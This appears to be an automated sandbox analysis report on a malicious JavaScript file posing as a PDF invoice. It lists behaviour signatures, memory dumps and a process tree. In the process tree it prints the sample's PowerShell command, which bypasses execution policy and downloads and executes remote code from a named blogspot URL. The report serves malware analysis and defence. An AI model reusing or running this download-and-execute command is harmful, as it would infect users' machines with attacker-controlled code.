Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
28/04/2026, 05:54
General
- Target invoice-1645080830.pdf (8).js
- Size 21.8MB
- Sample260428-gmda2agy4m
- SHA256 aa22193732485815d415733795f145aeec8fd93c9b935848935bc8463978694e
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (8).js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 172⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_xlcurn5v.3wq.ps1
memory/1500-3-0x0000023A64BD0000-0x0000023A64BE0000-memory.dmp
memory/1500-2-0x0000023A64BD0000-0x0000023A64BE0000-memory.dmp
memory/1500-4-0x0000023A7CE90000-0x0000023A7CEB2000-memory.dmp
memory/1500-13-0x0000023A64BD0000-0x0000023A64BE0000-memory.dmp
memory/1500-12-0x0000023A64BD0000-0x0000023A64BE0000-memory.dmp
memory/1500-14-0x0000023A64A80000-0x0000023A64A8C000-memory.dmp
memory/1500-22-0x0000023A64BD0000-0x0000023A64BE0000-memory.dmp
memory/1500-24-0x0000023A64BD0000-0x0000023A64BE0000-memory.dmp
memory/1500-28-0x0000023A64A80000-0x0000023A64A8C000-memory.dmp
memory/1660-1-0x0000019E72AA0000-0x0000019E72AAC000-memory.dmp
memory/1660-0-0x0000019E74670000-0x0000019E74785000-memory.dmp